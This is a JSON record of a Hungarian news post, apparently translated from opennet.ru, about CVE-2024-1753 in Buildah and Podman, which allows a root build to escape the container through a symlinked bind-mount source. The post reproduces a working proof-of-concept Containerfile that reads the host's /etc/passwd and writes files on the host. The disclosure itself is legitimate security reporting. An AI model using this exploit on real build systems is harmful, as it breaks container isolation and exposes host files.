{"id":114412,"date":"2024-03-19T00:25:47","date_gmt":"2024-03-18T22:25:47","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera"},"modified":"2024-03-19T00:25:47","modified_gmt":"2024-03-18T22:25:47","slug":"uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/news\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","title":{"rendered":"Sebezhet\u0151s\u00e9g a Buildah \u00e9s a Podman rendszerben, amely lehet\u0151v\u00e9 teszi a tart\u00e1lyok elk\u00fcl\u00f6n\u00edt\u00e9s\u00e9nek megker\u00fcl\u00e9s\u00e9t","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

A Buildah \u00e9s Podman csomagokban egy CVE-2024-1753 jel\u0171 s\u00e9r\u00fcl\u00e9kenys\u00e9get fedeztek fel, amely lehet\u0151v\u00e9 teszi a gazda k\u00f6rnyezet f\u00e1jlrendszer\u00e9nek teljes hozz\u00e1f\u00e9r\u00e9s\u00e9t a kont\u00e9ner \u00e9p\u00edt\u00e9si szakasz\u00e1ban, amikor root jogokkal fut. A SELinux-szal felszerelt rendszereken a gazda f\u00e1jlrendszerhez val\u00f3 hozz\u00e1f\u00e9r\u00e9s \u00edr\u00e1sv\u00e9dett m\u00f3dra korl\u00e1toz\u00f3dik. A jav\u00edt\u00e1s jelenleg egy jav\u00edt\u00f3csomag form\u00e1j\u00e1ban \u00e9rhet\u0151 el, amelyet n\u00e9h\u00e1ny perccel ezel\u0151tt fogadtak el a Buildah k\u00f3dalapj\u00e1ban. <\/p>\n

A s\u00e9r\u00fcl\u00e9kenys\u00e9g oka, hogy a Filesystem (FS) r\u00e9szeinek a \u201emount \u2014bind\u201d paranccsal t\u00f6rt\u00e9n\u0151 csatol\u00e1s\u00e1nak v\u00e9grehajt\u00e1sakor a RUN szakaszban a forr\u00e1s mappa (a \u201esource=\u201d param\u00e9ter) nem ellen\u0151rizhet\u0151, hogy l\u00e9tezik-e a gy\u00f6k\u00e9r FS-en. A megszokott m\u00f3don elk\u00e9sz\u00edtett Containerfile konfigur\u00e1ci\u00f3s f\u00e1jl haszn\u00e1lhat\u00f3 egy olyan kont\u00e9nerk\u00e9p eset\u00e9n, ahol a forr\u00e1smappa szimbolikus hivatkoz\u00e1sk\u00e9nt van megadva a gy\u00f6k\u00e9r FS-re. Ilyen esetben a csatol\u00e1s a host k\u00f6rnyezet gy\u00f6k\u00e9r FS-\u00e9t a kont\u00e9nerbe csatolja, ami lehet\u0151v\u00e9 teszi a RUN szakaszban a gazda f\u00e1jlrendszer teljes hozz\u00e1f\u00e9r\u00e9s\u00e9t, \u00e9s lehet\u0151s\u00e9get biztos\u00edt a kont\u00e9nerb\u0151l val\u00f3 kiugr\u00e1sra a \u201ebuildah build\u201d vagy \u201epodman build\u201d parancsokkal. <\/p>\n

Egy p\u00e9lda a rosszindulat\u00fa Containerfile-ra, amelynek a \u201epodman build -f ~\/Containerfile .\u201d parancs v\u00e9grehajt\u00e1sa megjelen\u00edti a \/etc\/passwd tartalm\u00e1t, \u00e9s f\u00e1jlokat hoz l\u00e9tre a \/BIND_BREAKEOUT \u00e9s \/etc\/BIND_BREAKOUT2 el\u00e9r\u00e9si utakon a host k\u00f6rnyezetben: FROM alpine as base RUN ln -s \/ \/rootdir RUN ln -s \/etc \/etc2 FROM alpine RUN echo 'ls container root' RUN ls -l \/ RUN echo 'A kihaszn\u00e1l\u00e1ssal a gazda gy\u00f6k\u00e9r\u00e9t mutatja, nem a kont\u00e9ner\u00e9t, \u00e9s l\u00e9trehozza a \/BIND_BREAKOUT f\u00e1jlt a hoston' RUN --mount=type=bind,from=base,source=\/rootdir,destination=\/exploit,rw ls -l \/exploit; touch \/exploit\/BIND_BREAKOUT; ls -l \/exploit RUN echo 'A kihaszn\u00e1l\u00e1ssal a gazda \/etc\/passwd-j\u00e1t mutatja, nem a kont\u00e9ner\u00e9t, \u00e9s l\u00e9trehozza a \/BIND_BREAKOUT2 f\u00e1jlt a \/etc-ben a hoston' RUN --mount=type=bind,rw,source=\/etc2,destination=\/etc2,from=base ls -l \/; ls -l \/etc2\/passwd; cat \/etc2\/passwd; touch \/etc2\/BIND_BREAKOUT2; ls -l \/etc2
\n
Forr\u00e1s: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Buildah \u0438 Podman \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-1753), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0445\u043e\u0441\u0442-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root. \u041d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0441 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c SELinux \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0445\u043e\u0441\u0442\u043e\u0432\u043e\u0439 \u0424\u0421 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u0432\u0438\u0434\u0435 \u043f\u0430\u0442\u0447\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0438\u043d\u0443\u0442 \u043d\u0430\u0437\u0430\u0434 \u043f\u0440\u0438\u043d\u044f\u0442 \u0432 \u043a\u043e\u0434\u043e\u0432\u0443\u044e \u0431\u0430\u0437\u0443 Buildah. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-114412","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47S\u00e9r\u00fcl\u00e9kenys\u00e9g a Buildah \u00e9s Podman alkalmaz\u00e1sokban, amely lehet\u0151v\u00e9 teszi a kont\u00e9ner elk\u00fcl\u00f6n\u00edt\u00e9s\u00e9nek megker\u00fcl\u00e9s\u00e9t | ProHoster","description":"A Buildah \u00e9s Podman csomagokban egy CVE-2024-1753 jel\u0171 s\u00e9r\u00fcl\u00e9kenys\u00e9get fedeztek fel, amely lehet\u0151v\u00e9 teszi a gazda k\u00f6rnyezet f\u00e1jlrendszer\u00e9nek teljes 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